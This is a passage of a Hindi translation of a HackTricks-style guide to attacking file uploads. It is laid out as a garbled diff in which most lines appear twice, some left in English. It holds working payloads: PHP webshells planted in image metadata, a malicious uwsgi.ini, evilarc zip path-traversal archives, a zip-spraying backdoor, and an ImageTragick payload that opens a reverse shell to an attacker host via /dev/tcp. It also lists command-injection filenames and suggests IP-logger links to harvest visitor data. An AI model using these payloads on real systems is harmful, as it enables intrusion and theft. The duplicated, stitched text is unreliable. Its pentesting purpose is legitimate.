6. **exec एक्सटेंशन को वैध एक्सटेंशन से पहले** रखने की कोशिश करें और उम्मीद करें कि सर्वर misconfigured हो। (यह Apache misconfigurations का फायदा उठा सकता है जहाँ किसी भी फाइल का extension **.php** होने पर, भले ही फाइल .php पर खत्म न हो, code execute हो सकता है):
- _ex: file.php.png_
7. **Windows** में **NTFS alternate data stream (ADS)** का उपयोग करना। इस मामले में, एक colon character ":" एक प्रतिबंधित extension के बाद और एक अनुमत extension से पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर **खाली फाइल जिस पर प्रतिबंधित extension है** बन जाएगी (उदा. "file.asax:.jpg"). इस फ़ाइल को बाद में दूसरी तकनीकों से एडिट किया जा सकता है जैसे कि उसकी short filename का उपयोग करना। "**::$data**” पैटर्न का उपयोग non-empty files बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक dot character जोड़ना भी आगे की प्रतिबंधों को बायपास करने में उपयोगी हो सकता (.e.g. "file.asp::$data.")
8. फ़ाइलनाम की सीमा तोड़ने की कोशिश करें। वैध extension कट जाता है और malicious PHP बच जाता है। AAA<--SNIP-->AAA.php
7. **Windows** में **NTFS alternate data stream (ADS)** का उपयोग करना। इस मामले में एक colon ":" प्रतिबंधित एक्सटेंशन के बाद और अनुमत एक्सटेंशन से पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर **खाली फाइल जिस पर प्रतिबंधित एक्सटेंशन है** बन सकती है (उदा. "file.asax:.jpg”). यह फाइल बाद में अन्य तकनीकों से edit की जा सकती है जैसे कि इसकी short filename का उपयोग। "**::$data**” pattern का उपयोग non-empty फाइल बनाने के लिए भी किया जा सकता है। इसलिए इस pattern के बाद एक dot जोड़ना आगे की प्रतिबंधों को बायपास करने में उपयोगी हो सकता है (उदा. "file.asp::$data.”)
8. फ़ाइल नाम की लिमिट्स तोड़ने की कोशिश करें। वैध एक्सटेंशन कट जाता है और malicious PHP बच जाता है। AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
@ -61,54 +61,54 @@ AAA<--SNIP 232 A-->AAA.php.png
### Content-Type, Magic Number, Compression & Resizing को बायपास करना
- Content-Type चेक को बायपास करने के लिए Content-Type header के मान को सेट करें: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **वर्डलिस्ट**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- **magic number** चेक को बायपास करने के लिए फ़ाइल के आरंभ में असली इमेज के बाइट्स जोड़ें (जिससे _file_ कमांड भ्रमित हो जाए)। या shell को इमेज के **metadata** में डालें:\
- **Content-Type** checks को बायपास करने के लिए **Content-Type header** के **value** को सेट करें: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- **magic number** चेक को बायपास करने के लिए फाइल की शुरुआत में किसी असली image के **bytes** जोड़ें (ताकि _file_ command confuse हो)। या shell को **metadata** में डालें:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` या आप payload को सीधे इमेज में भी डाल सकते हैं:\
`\` या आप payload को सीधे image में भी डाल सकते हैं:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- यदि आपकी image पर compressions लागू किए जा रहे हैं, उदाहरण के लिए कुछ standard PHP लाइब्रेरीज जैसे [PHP-GD](https://www.php.net/manual/fr/book.image.php) का उपयोग हो रहा है, तो उपर्युक्त तकनीकें उपयोगी नहीं होंगी। हालांकि, आप **PLTE chunk** [**तकनीक यहाँ परिभाषित है**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग करके कुछ टेक्स्ट डाल सकते हैं जो **compression में टिक जाएगा**
- यदि आपकी image पर **compression** लागू की जा रही है, जैसे कि कुछ standard PHP libraries जैसे [PHP-GD](https://www.php.net/manual/fr/book.image.php) का उपयोग करते हुए, तो ऊपर दी गई तकनीकें काम नहीं करेंगी। ऐसे में आप **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर कुछ टेक्स्ट insert कर सकते हैं जो **compression के बाद भी बचे** रह सकता है
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- वेब पेज image को **resizing** भी कर सकता है, उदाहरण के लिए PHP-GD के `imagecopyresized` या `imagecopyresampled` फ़ंक्शंस का उपयोग करके। हालांकि, आप **IDAT chunk** [**तकनीक यहाँ परिभाषित है**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ टेक्स्ट डालकर वह **compression में बच जाए**।
- वेब पेज image को **resize** भी कर सकता है, उदाहरण के लिए PHP-GD की `imagecopyresized` या `imagecopyresampled` functions का उपयोग करते हुए। हालाँकि, आप **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर ऐसा टेक्स्ट insert कर सकते हैं जो **compression के बाद भी बचा रहे**।
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- एक और तकनीक जो image resizing से बचने वाला payload बनाने के लिए है, PHP-GD फ़ंक्शन `thumbnailImage` का उपयोग करना। हालांकि, आप **tEXt chunk** [**तकनीक यहाँ परिभाषित है**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि टेक्स्ट **compression में बचा रहे**।
- एक और तकनीक जिससे payload image resizing सहन कर सके, PHP-GD की `thumbnailImage` function का उपयोग करके है। फिर भी, आप **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर ऐसा टेक्स्ट insert कर सकते हैं जो **compression/resize के बाद भी बचा रहे**।
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### जांचने के अन्य तरकीबें
### अन्य जाँचने योग्य ट्रिक्स
- पहले से अपलोड की गई फ़ाइल का नाम बदलने की किसी vulnerability को खोजें (extension बदलने के लिए)।
- फ़ाइल अपलोड के बाद backdoor execute करने के लिए कोई **Local File Inclusion** vulnerability खोजें।
- **संभव Information disclosure**:
1. एक ही नाम वाली ाइल को **कई बार** (और एक ही समय में) अपलोड करें।
2. किसी ऐसे फ़ाइल या फ़ोल्डर के नाम पर फ़ाइल अपलोड करें जो पहले से मौजूद हो।
3. फ़ाइल का नाम `"."`, "..” या "…” जैसा होना कोशिश करें। उदाहरण के लिए, Apache में Windows पर यदि एप्लिकेशन अपलोड की गई फ़ाइलों को "/www/uploads/" निर्देशिका में सहेजता है, तो "." फ़ाइलनाम "/www/" निर्देशिका में "uploads" नाम की फ़ाइल बना देगा।
4. ऐसी फ़ाइल अपलोड करें जिसे आसानी से हटाया न जा सके, जैसे **"…:.jpg”** NTFS में। (Windows)
5. Windows में ऐसे फ़ाइल नाम के साथ अपलोड करें जिनमें अवैध वर्ण हों जैसे `|<>*?”`
6. Windows में reserved (forbidden) नामों का उपयोग करके फ़ाइल अपलोड करें जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, और LPT9
- किसी executable (.exe) या एक .html (कम संदेहजनक) फ़ाइल को भी अपलोड करने की कोशिश करें जो victim द्वारा गलती से खोलने पर कोड execute कर दे
- पहले से upload की गई फाइल का नाम **rename** करने की vulnerability ढूँढें (ताकि एक्सटेंशन बदला जा सके)।
- backdoor execute करने के लिए कोई **Local File Inclusion** vulnerability ढूँढें।
- **संभव सूचना प्रकटीकरण**:
1. एक ही फाइल को **कई बार** (और एक ही समय पर) एक ही **नाम** से upload करें।
2. किसी ऐसे फाइल या फोल्डर के नाम से फाइल upload करें जो पहले से मौजूद हो।
3. नाम के रूप में **".", "..", या "..."** जैसी फ़ाइलें अपलोड करना। उदाहरण के लिए, Apache में **Windows** पर, यदि application uploaded files को "/www/uploads/" डायरेक्टरी में सेव करती है, तो "." filename "/www/" डायरेक्टरी में "uploads" नाम की एक फाइल बना देगा।
4. **NTFS** में ऐसी फाइल upload करें जिसे आसानी से delete न किया जा सके जैसे **"...:.jpg"**। (Windows)
5. **Windows** में ऐसे invalid characters वाले नाम से फाइल upload करने की कोशिश करें जैसे `|<>*?”`
6. **Windows** में reserved (forbidden) names जैसे CON, PRN, AUX, NUL, COM1 ... LPT9 का उपयोग करके फाइल upload करने की कोशिश करें
- साथ ही यह भी आज़माएँ कि कोई **executable (.exe)** या एक **.html** फाइल upload करें (कम शक पैदा करने वाली) जिसे victim के द्वारा गलती से खोलने पर code execute हो सकता है
### Special extension tricks
### Special extension ट्रिक्स
यदि आप फ़ाइलें किसी **PHP server** पर अपलोड करने की कोशिश कर रहे हैं, तो कोड execute करने के लिए [**.htaccess** trick देखें](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
यदि आप किसी **ASP server** पर फ़ाइलें अपलोड कर रहे हैं, तो कोड execute करने के लिए [**.config** trick देखें](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
यदि आप **PHP server** पर फाइलें upload कर रहे हैं, तो code execute करने के लिए [**.htaccess** trick देखें](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
यदि आप **ASP server** पर फाइलें upload कर रहे हैं, तो code execute करने के लिए [**.config** trick देखें](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
`.phar`़ाइलें java के `.jar` जैसी होती हैं, पर php के लिए, और इन्हें **php फ़ाइल की तरह उपयोग** किया जा सकता है (php के साथ execute करना, या किसी स्क्रिप्ट में include करना...)
`.phar`ाइलें Java के `.jar` की तरह हैं, लेकिन php के लिए, और इन्हें **php file की तरह** use किया जा सकता है (php से execute करके, या किसी script में include करके...)
`.inc` extension कभी-कभी php फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलें import करने के लिए होते हैं, इसलिए कभी-कभी किसी ने इस extension को execute करने की अनुमति दे दी हो सकती है।
`.inc` extension कभी-कभी php फाइल्स के लिए इस्तेमाल होता है जो केवल import के लिए होते हैं, इसलिए किसी बिंदु पर किसी ने इस extension को execute होने की अनुमति दे रखी हो सकती है।
## **Jetty RCE**
यदि आप किसी Jetty सर्वर में XML फ़ाइल अपलोड कर सकते हैं तो आप [RCE हासिल कर सकते हैं क्योंकि **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** जैसा कि निम्नलिखित इमेज में बताया गया है, XML फ़ाइल को `$JETTY_BASE/webapps/` में अपलोड करें और shell की उम्मीद रें!
यदि आप Jetty server में एक XML फ़ाइल upload कर सकें तो आप [RCE प्राप्त कर सकते हैं क्योंकि new \*.xml and \*.war are automatically processed](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** इसलिए, जैसा कि निम्नलिखित छवि में बताया गया है, XML फ़ाइल को `$JETTY_BASE/webapps/` में upload करें और shell की उम्मीद रें!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
इस vulnerability की विस्तृत जाच के लिए मूल रिसर्च देखें: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
इस vulnerability की विस्तृत जाच के लिए मूल रिसर्च देखें: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Remote Command Execution (RCE) vulnerabilities उन uWSGI सर्वरों में exploit की जा सकती हैं जहाँ किसी के पास `.ini` configuration फ़ाइल को संशोधित करने की क्षमता हो। uWSGI configuration फाइलें "magic" variables, placeholders, और operators को शामिल करने के लिए विशेष syntax का उपयोग करती हैं। विशेष रूप से, '@' operator, `@(filename)` के रूप में उपयोग किया जाता है, यह फ़ाइल की सामग्री को शामिल करने के लिए डिज़ाइन किया गया है। uWSGI में विभिन्न supported schemes में से, "exec" scheme विशेष रूप से शक्तिशाली है, जो किसी प्रक्रिया के standard output से डेटा पढ़ने की अनुमति देता है। जब कोई `.ini` configuration फ़ाइल process की जाती है, तो इस फीचर का दुरुपयोग Remote Command Execution या Arbitrary File Write/Read के लिए किया जा सकता है।
यदि किसी को `.ini` configuration file modify करने की क्षमता मिलती है तो uWSGI servers में Remote Command Execution (RCE) vulnerabilities का उपयोग किया जा सकता है। uWSGI configuration files एक विशिष्ट syntax का उपयोग करते हैं जिसमें "magic" variables, placeholders, और operators शामिल होते हैं। खास तौर पर, '@' operator, जिसका उपयोग `@(filename)` के रूप में होता है, किसी फाइल की सामग्री include करने के लिए डिज़ाइन किया गया है। uWSGI में समर्थित विभिन्न schemes में से, "exec" scheme विशेष रूप से शक्तिशाली है, जो किसी process के standard output से डेटा पढ़ने की अनुमति देता है। जब एक `.ini` configuration file process होती है तो इस फीचर का दुरुपयोग Remote Command Execution या Arbitrary File Write/Read के लिए किया जा सकता है।
निम्नलिखित हानिकारक `uwsgi.ini`ाइल का एक उदाहरण विचार करें, जो विभिन्न schemes को दर्शाती है:
निम्नलिखित हानिकारक `uwsgi.ini` फाइल का उदाहरण विचार करें, जो विभिन्न schemes का प्रदर्शन करता है:
```ini
[uwsgi]
; read from a symbol
@ -128,12 +128,13 @@ characters = @(call://uwsgi_func)
```
The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
यह समझना महत्वपूर्ण है कि uWSGI की configuration file parsing कितनी ढीली है। विशेष रूप से, चर्चित payload को एक binary file (जैसे image या PDF) में insert किया जा सकता है, जो संभावित exploitation के दायरे को और बढ़ा देता है।
यह समझना ज़रूरी है कि uWSGI की configuration file parsing काफी lax है। विशेष रूप से, ऊपर चर्चा किया गया payload एक binary file (जैसे image या PDF) में insert किया जा सकता है, जिससे संभावित exploitation का दायरा और बढ़ जाता है।
## **wget File Upload/SSRF Trick**
कुछ मामलों में आप पाएंगे कि सर्वर **`wget`** का उपयोग **फ़ाइलें डाउनलोड** करने के लिए कर रहा है और आप **URL** निर्दिष्ट कर सकते हैं। ऐसे मामलों में, कोड यह जाँच कर सकता है कि डाउनलोड की गई फ़ाइलों का extension एक whitelist के अंदर है ताकि केवल अनुमत फ़ाइलें डाउनलोड हों। हालांकि, **यह जाँच bypass की जा सकती है।**\
**linux** में एक **filename** की **maximum** लंबाई **255** है, हालांकि **wget** फ़ाइल नामों को **236** characters तक truncate कर देता है। आप **download a file called "A"\*232+".php"+".gif"** कर सकते हैं; यह filename **check को bypass** कर देगा (जैसा कि इस उदाहरण में **".gif"** एक **valid** extension है) लेकिन `wget` फ़ाइल को **rename** करके **"A"\*232+".php"** कर देगा।
कुछ मामलों में आप पाएंगे कि एक server **`wget`** का उपयोग **download files** करने के लिए कर रहा है और आप **indicate** कर सकते हैं **URL**। ऐसे मामलों में, code यह जांच सकता है कि downloaded files का extension whitelist में है ताकि केवल allowed files ही download हों। हालांकि, **यह check bypass किया जा सकता है।**
The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"\*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -156,35 +157,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
ध्यान दें कि **एक और विकल्प** जो आप इस चेक को बायपास करने के लिए सोच रहे होंगे वह यह है कि **HTTP server को किसी अलग फाइल पर redirect** कर दिया जाए, ताकि शुरुआती URL चेक को बायपास कर दे और फिर wget redirected फाइल को नए नाम के साथ डाउनलोड कर ले। यह **काम नहीं करेगा** **जब तक** wget को `--trust-server-names` पैरामीटर के साथ उपयोग न किया गया हो क्योंकि **wget redirected पेज को मूल URL में बताये गए फाइल नाम के साथ ही डाउनलोड करेगा**
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
## टूल्स
## Tools
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) एक शक्तिशाली टूल है जो Pentesters and Bug Hunters को file upload mechanisms के परीक्षण में मदद करने के लिए डिज़ाइन किया गया है। यह विभिन्न bug bounty तकनीकों का उपयोग करके कमजोरियों की पहचान और exploitation की प्रक्रिया को सरल बनाता है, और web applications का thorough आकलन सुनिश्चित करता है।
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) एक शक्तिशाली टूल है जो Pentesters और Bug Hunters को file upload mechanisms का परीक्षण करने में सहायता देने के लिए बनाया गया है। यह विभिन्न bug bounty techniques का उपयोग करके vulnerabilities की पहचान और exploit करने की प्रक्रिया को सरल बनाता है, जिससे web applications का thorough assessment सुनिश्चित होता है।
### snprintf quirks के साथ upload indices को corrupt करना (historical)
### Corrupting upload indices with snprintf quirks (historical)
कुछ legacy upload handlers जो `snprintf()` या इसी तरह के फ़ंक्शन का उपयोग करके single-file upload से multi-file arrays बनाते हैं, उन्हें `_FILES`ंरचना को फ़ोर्ज करने के लिए trick किया जा सकता है। `snprintf()` के inconsistent और truncation व्यवहार के कारण, सावधानीपूर्वक निर्मित एक single upload सर्वर साइड पर कई indexed files के रूप में दिखाई दे सकता है, जिससे वह logic भ्रमित हो जाता है जो एक सख्त आकार मानता है (उदा., इसे multi-file upload मानकर unsafe branches पर जाना)। आज के समय में यह पैटर्न niche है, फिर भी यह “index corruption” pattern कभी-कभी CTFs और पुराने codebases में फिर से उभरता है।
कुछ legacy upload handlers जो `snprintf()` या समान फ़ंक्शन्स का उपयोग करके single-file upload से multi-file arrays बनाते हैं, उन्हें `_FILES`्ट्रक्चर को फोर्ज करने के लिए ट्रिक किया जा सकता है। `snprintf()` व्यवहार में inconsistencies और truncation के कारण, सावधानीपूर्वक बनाए गए एक single upload को server-side पर कई indexed files की तरह दिखाया जा सकता है, जिससे वह logic भ्रमित हो सकता है जो एक strict shape मानता है (उदाहरण के लिए, इसे multi-file upload मानकर unsafe branches लेना)। हालांकि आज यह अधिकतर niche है, यह “index corruption” पैटर्न कभी-कभी CTFs और पुराने codebases में फिर से सामने आता है।
## फ़ाइल अपलोड से अन्य कमजोरियाँ
## फ़ाइल अपलोड से अन्य vulnerabilities
- **filename** को `../../../tmp/lol.png` पर सेट करें और **path traversal** हासिल करने की कोशिश करें
- **filename** को `sleep(10)-- -.jpg` पर सेट करें और आप संभवतः **SQL injection** प्राप्त कर सकते हैं
- **filename** को `<svg onload=alert(document.domain)>` पर सेट करें ताकि XSS हो सके
- **filename** को `; sleep 10;` पर सेट करके कुछ command injection का परीक्षण करें (अधिक [command injections tricks here](../command-injection.md))
- Set **filename** to `../../../tmp/lol.png` और **path traversal** हासिल करने का प्रयास करें
- Set **filename** to `sleep(10)-- -.jpg` और आप संभवतः **SQL injection** हासिल कर सकते हैं
- Set **filename** to `<svg onload=alert(document.domain)>` ताकि **XSS** हासिल हो सके
- Set **filename** to `; sleep 10;` कुछ **command injection** टेस्ट करने के लिए (more [command injections tricks here](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- अगर आप web server को किसी URL से image पकड़ने के लिए निर्देशित कर सकते हैं तो आप [SSRF](../ssrf-server-side-request-forgery/index.html) का दुरुपयोग करने का प्रयास कर सकते हैं। यदि यह **image** किसी **public** साइट पर **saved** की जा रही है, तो आप [https://iplogger.org/invisible/] से एक URL भी दे सकते हैं और हर विज़िटर की जानकारी **steal** कर सकते हैं।
- अगर आप web server को किसी URL से image fetch करने के लिए निर्देशित कर सकते हैं तो आप [SSRF](../ssrf-server-side-request-forgery/index.html) का दुरुपयोग करने की कोशिश कर सकते हैं। अगर यह **image** किसी **public** site पर **saved** होने वाली है, तो आप [https://iplogger.org/invisible/](https://iplogger.org/invisible/) का URL भी इंगित कर सकते हैं और हर visitor की जानकारी चुरा सकते हैं।
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). अगर आप PDFs upload कर सकते हैं तो आप ऐसा PDF तैयार कर सकते हैं जो दिए गए निर्देशों का पालन करते हुए arbitrary JS execute करेगा।
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content ताकि यह जाँचा जा सके कि सर्वर में कोई **antivirus** है या नहीं
- जाँचें कि फ़ाइलें upload करने पर कोई **size limit** है या नहीं
- XSS के लिए specially crafted PDFs: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). अगर आप PDFs अपलोड कर सकते हैं तो आप कुछ ऐसा PDF तैयार कर सकते हैं जो दिए गए निर्देशों के अनुसार arbitrary JS execute करेगा।
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content यह जांचने के लिए कि सर्वर में कोई **antivirus** है या नहीं
- फ़ाइलें अपलोड करते समय कोई **size limit** है या नहीं जांचें
यहाँ एक टॉप 10 सूची है कि आप अपलोड करके क्या हासिल कर सकते हैं (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Heres a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -204,39 +205,39 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
https://github.com/portswigger/upload-scanner
{{#endref}}
## मैजिक हेडर बाइट्स
## Magic Header Bytes
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
- **JPG**: `"\xff\xd8\xff"`
अन्य filetypes के लिए [https://en.wikipedia.org/wiki/List_of_file_signatures] देखें।
अन्य filetypes के लिए देखें: [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures)
## Zip/Tar फ़ाइल का सर्वर पर स्वतः अनपैक होने वाला अपलोड
## Zip/Tar File Automatically decompressed Upload
अगर आप ऐसा ZIP upload कर सकते हैं जिसे सर्वर के अंदर decompress किया जाएगा, तो आप दो चीज़ें कर सकते हैं:
यदि आप ऐसा ZIP अपलोड कर सकते हैं जिसे server के अंदर decompress किया जाएगा, तो आप 2 चीजें कर सकते हैं:
### Symlink
ऐसा archive upload करें जिसमें अन्य फ़ाइलों के soft links शामिल हों; फिर जब आप decompressed फ़ाइलों तक पहुँचेंगे तो आप linked फ़ाइलों तक भी पहुँच प्राप्त कर लेंगे:
ऐसा लिंक अपलोड करें जिसमें other files के soft links शामिल हों, फिर decompressed files तक पहुँचने पर आप linked files तक पहुँच पाएँगे:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### Decompress in different folders
### अलग फ़ोल्डरों में Decompress
Decompression के दौरान directories में फाइलों का अनपेक्षित निर्माण एक गंभीर समस्या है। शुरुआती धारणा के बावजूद कि यह सेटअप malicious file uploads के जरिए OS-level command execution से सुरक्षा कर सकता है, ZIP archive format के hierarchical compression support और directory traversal क्षमताओं का दुरुपयोग किया जा सकता है। इससे attackers decompression functionality को manipulate करके restrictions को bypass कर secure upload directories से बाहर निकल सकते हैं।
Decompression के दौरान डायरेक्टरी में फाइलों का अनपेक्षित निर्माण एक गंभीर समस्या है। प्रारंभिक धारणा यह हो सकती है कि यह सेटअप malicious file uploads के जरिए OS-level command execution से सुरक्षा प्रदान करेगा, लेकिन ZIP archive format की hierarchical compression support और directory traversal क्षमताओं का दुरुपयोग किया जा सकता है। इससे attackers decompression functionality को manipulate करके प्रतिबंधों को bypass कर secure upload directories से बाहर निकल सकते हैं।
An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). The utility can be used as shown:
ऐसे फ़ाइलें बनाने के लिए एक automated exploit [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) पर उपलब्ध है। यह utility नीचे दिखाए अनुसार उपयोग की जा सकती है:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
इसके अतिरिक्त, **symlink trick with evilarc** एक विकल्प है। यदि उद्देश्य `/flag.txt` जैसी फ़ाइल को लक्ष्य बनाना है, तो उस फ़ाइल के लिए अपने सिस्टम में एक symlink बनाया जाना चाहिए। यह सुनिश्चित करता है कि evilarc अपने संचालन के दौरान त्रुटियों का सामना न करे।
इसके अलावा, **symlink trick with evilarc** एक विकल्प है। यदि उद्देश्य `/flag.txt` जैसे किसी फ़ाइल को लक्षित करना है, तो उस फ़ाइल का एक symlink आपके सिस्टम में बनाया जाना चाहिए। यह सुनिश्चित करता है कि evilarc अपनी क्रिया के दौरान त्रुटियों का सामना न करे।
नीचे एक उदाहरण दिया गया है Python कोड का,िसका उपय एक malicious zip file बनाने के लिए किया जाता है:
नीचे एक उदाहरण दिया गया है Python कोड का जो एक malicious zip file बनाने के लिए उपयोग किया जाता है:
```python
#!/usr/bin/python
import zipfile
@ -254,11 +255,11 @@ zip.close()
create_zip()
```
**Abusing compression for file spraying**
**कम्प्रेशन का दुरुपयोग (file spraying के लिए)**
अधिक जानकारी के लिए **मूल पोस्ट देखें**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **PHP Shell बनाना**: PHP कोड लिखा गया है जो `$_REQUEST`ेरियेबल के माध्यम से पास किए गए कमांड्स को चलाता है।
1. **Creating a PHP Shell**: PHP कोड लिखा गया है जो `$_REQUEST`ैरिएबल के माध्यम से भेजे गए कमांड्स को चलाता है।
```php
<?php
@ -268,14 +269,14 @@ system($cmd);
}?>
```
2. **File Spraying और Compressed File Creation**: कई फाइलें बनाई जाती हैं और इन फाइलों को सम्मिलित करते हुए एक zip archive बनाया जाता है।
2. **File Spraying and Compressed File Creation**: कई फाइलें बनाई जाती हैं और एक zip आर्काइव इन फाइलों को शामिल करके बनाया जाता है।
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Hex Editor या vi के साथ संशोधन**: zip के अंदर मौजूद फाइलों के नाम vi या hex editor से बदले जाते हैं — 'xxA' को '../' में बदलकर directories को traverse किया जाता है।
3. **Modification with a Hex Editor or vi**: zip के अंदर फाइलों के नाम vi या hex editor का उपयोग करके बदले जाते हैं, "xxA" को "../" में बदलकर डायरेक्टरी traversal किया जाता है।
```bash
:set modifiable
@ -285,40 +286,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
इस कंटेंट को image extension के साथ upload करें ताकि यह vulnerability exploit की जा सके **(ImageMagick , 7.0.1-1)** (exploit के लिए देखें: [https://www.exploit-db.com/exploits/39767](https://www.exploit-db.com/exploits/39767))
इस कंटेंट को image extension के साथ अपलोड करें ताकि vulnerability **(ImageMagick , 7.0.1-1)** को exploit किया जा सके (from the [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## PNG में PHP Shell एम्बेड करना
## PNG में PHP shell एम्बेड करना
